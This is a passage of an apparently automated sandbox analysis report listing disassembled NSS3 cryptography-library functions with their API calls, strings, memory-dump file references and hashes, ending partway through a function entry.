PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C7966E8
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C796716
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C796728
PR_LogPrint.NSS3(?,00000000), ref: 6C79673E

Strings

hSession = 0x%x, xrefs: 6C79668E, 6C79669E
hKey = 0x%x, xrefs: 6C796700, 6C796710
pMechanism = 0x%p, xrefs: 6C7966E3
C_DecryptInit, xrefs: 6C796671
(CK_INVALID_HANDLE), xrefs: 6C7966AC, 6C79671E

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptInit
API String ID: 1003633598-277163776
Opcode ID: 2b860b55c003c84ead7bec3af7e4b2307f2756a37e7d3fca209875ed7a5abd0c
Instruction ID: bd101c736f642499c85826af05b612a0988ac6defea30f441435c50d96cb8214
Opcode Fuzzy Hash: 2b860b55c003c84ead7bec3af7e4b2307f2756a37e7d3fca209875ed7a5abd0c
Instruction Fuzzy Hash: 6641E771601114ABDB70DB24AF8CF6E77B5AB8230CF054435E909A7B51EB34AA08C7E1

Function 6C796500 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 101COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_EncryptFinal), ref: 6C796526
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C796554
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C796563

Part of subcall function 6C87D930: PL_strncpyz.NSS3(?,?,?), ref: 6C87D963

PR_LogPrint.NSS3(?,00000000), ref: 6C796579
PR_LogPrint.NSS3( pLastEncryptedPart = 0x%p,?), ref: 6C796595
PR_LogPrint.NSS3( pulLastEncryptedPartLen = 0x%p,?), ref: 6C7965B0
PR_LogPrint.NSS3( *pulLastEncryptedPartLen = 0x%x,?), ref: 6C79661A

Strings

hSession = 0x%x, xrefs: 6C79653E, 6C79654E
pLastEncryptedPart = 0x%p, xrefs: 6C796590
C_EncryptFinal, xrefs: 6C796521
pulLastEncryptedPartLen = 0x%p, xrefs: 6C7965AB
*pulLastEncryptedPartLen = 0x%x, xrefs: 6C796615
(CK_INVALID_HANDLE), xrefs: 6C79655C

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulLastEncryptedPartLen = 0x%x$ hSession = 0x%x$ pLastEncryptedPart = 0x%p$ pulLastEncryptedPartLen = 0x%p$ (CK_INVALID_HANDLE)$C_EncryptFinal
API String ID: 1003633598-2178457252
Opcode ID: a33eb445f2c54db01746f24009257e2fb5f54a282a19f44bfec14a4d89555575
Instruction ID: 7c38c2f52abd36210795f3466258d0a47219320a3a52c1a4cce0720112fb4e34
Opcode Fuzzy Hash: a33eb445f2c54db01746f24009257e2fb5f54a282a19f44bfec14a4d89555575
Instruction Fuzzy Hash: 1D31EF71601144AFDB709B58AF8CB5A37B5AB4230DF444835E408D7B52EB35AB48CBE2

Function 6C778DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C778E22
EnterCriticalSection.KERNEL32(?), ref: 6C778E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C778E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C778E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C778E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C778EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C778EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C778EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C778F00
free.MOZGLUE(?), ref: 6C778F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C778F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C778F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C778F5B
PR_Unlock.NSS3(?), ref: 6C778F72
PR_Unlock.NSS3(?), ref: 6C778F82

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 287bdc72d7cac6eeb3f9953ad3161cdb9ac995428ab28892c2a40efea592810c
Instruction ID: e319845b7d0d895f9d6671626a5d2d1eceacb55531198484b0936afb578d71f2
Opcode Fuzzy Hash: 287bdc72d7cac6eeb3f9953ad3161cdb9ac995428ab28892c2a40efea592810c
Instruction Fuzzy Hash: AD51E5B2E002099FDB309E68CE849AEB779EF55358F144539E818AB701E731ED4487F1

Function 6C79CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C79CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C79CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C79CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C79CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C79CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C79CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C79CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C79CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C79CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C79CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C79CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C79CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C79CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C79D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C79D021

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: cbda6eab08c82f8cb86bfc440ca5c8c48e0aceaa60f20c635657918ee453ab4c
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 03311071B5391027EF0D545B6F3EB9F144A4B6630EF440038F90AF67C1F6D5AA2702A9

Function 6C870FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C871000

Part of subcall function 6C829BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C751A48), ref: 6C829BB3
Part of subcall function 6C829BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C751A48), ref: 6C829BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C871016

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

PR_Unlock.NSS3(?), ref: 6C871021

Part of subcall function 6C80DD70: TlsGetValue.KERNEL32 ref: 6C80DD8C
Part of subcall function 6C80DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C80DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C871046
PR_Unlock.NSS3(?), ref: 6C87106B
PR_Lock.NSS3 ref: 6C871079
PR_Unlock.NSS3 ref: 6C871096
free.MOZGLUE(?), ref: 6C8710A7
free.MOZGLUE(?), ref: 6C8710B4
PR_DestroyCondVar.NSS3(?), ref: 6C8710BF
PR_DestroyCondVar.NSS3(?), ref: 6C8710CA
PR_DestroyCondVar.NSS3(?), ref: 6C8710D5
PR_DestroyCondVar.NSS3(?), ref: 6C8710E0
PR_DestroyLock.NSS3(?), ref: 6C8710EB
free.MOZGLUE(?), ref: 6C871105

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: c5e1eef06f94721d36025b9d4cfc45f1af5eacfb6c45698cf66d42ed9b3b5f8c
Instruction ID: c28d6db9389b9569ea083bc596a735f4c18918dce65dd0355a4407b9f4e4e9bd
Opcode Fuzzy Hash: c5e1eef06f94721d36025b9d4cfc45f1af5eacfb6c45698cf66d42ed9b3b5f8c
Instruction Fuzzy Hash: 1031ABB5A00505ABDB219F14EE8AA49B771BF0531DF084535E80912F61F732F9B8DBE2

Function 6C7B25F0 Relevance: 21.4, APIs: 8, Strings: 6, Instructions: 403stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7BA0A0: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C78A5DF,?,00000000,6C7628AD,00000000,?,6C78A5DF,?,object), ref: 6C7BA0C0
Part of subcall function 6C7BA0A0: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C78A5DF,?,00000000,6C7628AD,00000000,?,6C78A5DF,?,object), ref: 6C7BA0E8

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7B2834
memcmp.VCRUNTIME140(00000000,00000020,00000020,?,?,?,?,?,?,?,?), ref: 6C7B284B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7B2A98
memcmp.VCRUNTIME140(00000000,?,00000020,?,?,?,?,?,?,?,?,?,?), ref: 6C7B2AAF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7B2BDC
memcmp.VCRUNTIME140(00000000,?,00000010,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7B2BF3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7B2D23
memcmp.VCRUNTIME140(00000000,?,00000010,?,?,?,?,?,?,?,?,?), ref: 6C7B2D34

Strings

OQxl, xrefs: 6C7B25F7, 6C7B25FF, 6C7B2863, 6C7B2AC7, 6C7B2C0B
model, xrefs: 6C7B2C06
token, xrefs: 6C7B25FA
, xrefs: 6C7B2A8E, 6C7B2AAB
serial, xrefs: 6C7B2AC2
manufacturer, xrefs: 6C7B285E

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: memcmpstrlen$strcmp
String ID: $OQxl$manufacturer$model$serial$token
API String ID: 2407968032-3044968294
Opcode ID: f1eb52becfced4c6012ce634432437d6e1e127f9cabbd093cb71311c66acf207
Instruction ID: 73c2b3dfd0db56c10531c430b5ebb5fbe36eb7853d9fbfc89ecee83583339b0c
Opcode Fuzzy Hash: f1eb52becfced4c6012ce634432437d6e1e127f9cabbd093cb71311c66acf207
Instruction Fuzzy Hash: 100202A1E0D3C96EF7318B22C98CBE12EE05B0531CF4D15F5D94D6BA93D6BC09899352

Function 6C7AEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C7AEE0B

Part of subcall function 6C7C0BE0: malloc.MOZGLUE(6C7B8D2D,?,00000000,?), ref: 6C7C0BF8
Part of subcall function 6C7C0BE0: TlsGetValue.KERNEL32(6C7B8D2D,?,00000000,?), ref: 6C7C0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7AEEE1

Part of subcall function 6C7A1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C7A1D7E
Part of subcall function 6C7A1D50: EnterCriticalSection.KERNEL32(?), ref: 6C7A1D8E
Part of subcall function 6C7A1D50: PR_Unlock.NSS3(?), ref: 6C7A1DD3

TlsGetValue.KERNEL32 ref: 6C7AEE51
EnterCriticalSection.KERNEL32(?), ref: 6C7AEE65
PR_Unlock.NSS3(?), ref: 6C7AEEA2
free.MOZGLUE(?), ref: 6C7AEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C7AEED0
PR_Unlock.NSS3(?), ref: 6C7AEF48
free.MOZGLUE(?), ref: 6C7AEF68
PR_SetError.NSS3(00000000,00000000), ref: 6C7AEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C7AEFA4
free.MOZGLUE(?), ref: 6C7AEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C7AF055
free.MOZGLUE(?), ref: 6C7AF060

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: faf8e10930b0c3ab8c288b57f7b451c460f0f9378e5a7c06f6e2c05a3a1776ed
Instruction ID: 1f7509c613d59c66969a955f1498b345d17e03ca093de07da4cd7c367da06aa8
Opcode Fuzzy Hash: faf8e10930b0c3ab8c288b57f7b451c460f0f9378e5a7c06f6e2c05a3a1776ed
Instruction Fuzzy Hash: FD8161B1A00209ABEF10DFA5DD85ADE7BB9BF08318F540134E919A3611E731E965CBE1

Function 6C774CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C774D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C774D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C774DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C774E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C774E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C774E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C774E85
DER_Encode_Util.NSS3(?,?,6C8C05A4,00000000), ref: 6C774EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C774F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C774F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C774F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C774F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C774F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C774FC8

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 3bc890a0a472532152790e4f4d545ac79d070a53003513f44a7807f49503bffa
Instruction ID: 4b5631b080219ef07f1f2ebf3647c95a6f92afbcd6d2235f3ff7dd46c17d8615
Opcode Fuzzy Hash: 3bc890a0a472532152790e4f4d545ac79d070a53003513f44a7807f49503bffa
Instruction Fuzzy Hash: 5281B3716043059FEB21CF28DE44B5AB7E8AB85358F14892DF958DB641E770DA04CFA2

Function 6C770470 Relevance: 21.2, APIs: 14, Instructions: 206timeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C7704B7

Part of subcall function 6C7C0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7687ED,00000800,6C75EF74,00000000), ref: 6C7C1000
Part of subcall function 6C7C0FF0: PR_NewLock.NSS3(?,00000800,6C75EF74,00000000), ref: 6C7C1016
Part of subcall function 6C7C0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7687ED,00000008,?,00000800,6C75EF74,00000000), ref: 6C7C102B

PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C770539

Part of subcall function 6C7C1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C7688A4,00000000,00000000), ref: 6C7C1228
Part of subcall function 6C7C1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C7C1238
Part of subcall function 6C7C1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C7688A4,00000000,00000000), ref: 6C7C124B
Part of subcall function 6C7C1200: PR_CallOnce.NSS3(6C8C2AA4,6C7C12D0,00000000,00000000,00000000,?,6C7688A4,00000000,00000000), ref: 6C7C125D
Part of subcall function 6C7C1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C7C126F
Part of subcall function 6C7C1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C7C1280
Part of subcall function 6C7C1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C7C128E
Part of subcall function 6C7C1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C7C129A
Part of subcall function 6C7C1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C7C12A1

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C77054A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C77056D
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7705CA
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6C7705EA
PR_SetError.NSS3(FFFFE00C,00000000), ref: 6C7705FD
PR_SetError.NSS3(FFFFE07E,00000000), ref: 6C770621
PR_EnterMonitor.NSS3 ref: 6C77063E
PR_ExitMonitor.NSS3 ref: 6C770668
CERT_DestroyCertificate.NSS3(?), ref: 6C770697
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7706AC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7706CC
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7706DA

Part of subcall function 6C76E6B0: PORT_ArenaMark_Util.NSS3(00000000,?,00000000,?,?,6C7704DC,?,?), ref: 6C76E6C9
Part of subcall function 6C76E6B0: PORT_ArenaAlloc_Util.NSS3(00000000,00000088,?,?,00000000,?,?,6C7704DC,?,?), ref: 6C76E6D9
Part of subcall function 6C76E6B0: memset.VCRUNTIME140(00000000,00000000,00000088,?,?,?,?,00000000,?,?,6C7704DC,?,?), ref: 6C76E6F4
Part of subcall function 6C76E6B0: SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000004,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7704DC,?), ref: 6C76E703
Part of subcall function 6C76E6B0: CERT_FindCertIssuer.NSS3(?,?,6C7704DC,0000000B,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C76E71E

Part of subcall function 6C76F660: PR_EnterMonitor.NSS3(6C77050F,?,00000001,?,?,?), ref: 6C76F6A8
Part of subcall function 6C76F660: PR_Now.NSS3(?,?,?,00000001,?,?,?), ref: 6C76F6C1
Part of subcall function 6C76F660: PR_ExitMonitor.NSS3(?,?,?,00000001,?,?,?), ref: 6C76F7C8

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$ArenaArena_ErrorFree$Monitor$EnterPool$CriticalExitSectionfree$AlgorithmAlloc_CallCertCertificateClearDeleteDestroyFindGeneralizedInitIssuerLockMark_OnceTimeTime_UnlockValuecallocmemset
String ID:
API String ID: 2470852775-0
Opcode ID: d5be2e4415ebfe0804885d25c0588be8d26d0a6f8700874bfade25b95a64bb75
Instruction ID: b71bb8c577226f380904ab655cd33841e0d86965c6cba7867297e8ef3dfefed1
Opcode Fuzzy Hash: d5be2e4415ebfe0804885d25c0588be8d26d0a6f8700874bfade25b95a64bb75
Instruction Fuzzy Hash: DC61CFB1A043499FEF20CE28CE54B5B77A4AB84358F104538F959D7691E731E918CBA2

Function 6C7A8F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C7A9582), ref: 6C7A8F5B

Part of subcall function 6C7BBE30: SECOID_FindOID_Util.NSS3(6C77311B,00000000,?,6C77311B,?), ref: 6C7BBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C7A8F6A

Part of subcall function 6C7C0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7687ED,00000800,6C75EF74,00000000), ref: 6C7C1000
Part of subcall function 6C7C0FF0: PR_NewLock.NSS3(?,00000800,6C75EF74,00000000), ref: 6C7C1016
Part of subcall function 6C7C0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7687ED,00000008,?,00000800,6C75EF74,00000000), ref: 6C7C102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C7A8FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C7A8FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C88D820,6C7A9576), ref: 6C7A8FF9
DER_GetInteger_Util.NSS3(?), ref: 6C7A901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C7A903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7A9062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C7A90A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C7A90CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C7A90F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C7A912D
free.MOZGLUE(00000000), ref: 6C7A9136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C7A9145

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: e31ec3ca8d4809d9fd1c6113931dd5ccccb42194f44e3d013f8746615912d9cf
Instruction ID: fe287abaa4fd3166d6224946a5849d2ebfbb5c48f863cf95c0cbc83ee3337981
Opcode Fuzzy Hash: e31ec3ca8d4809d9fd1c6113931dd5ccccb42194f44e3d013f8746615912d9cf
Instruction Fuzzy Hash: 2B5124B1A042019FEB10CF68DD85B9BB7E4EF94358F044A39E84497701E736E95ACBD2

Function 6C7925C0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

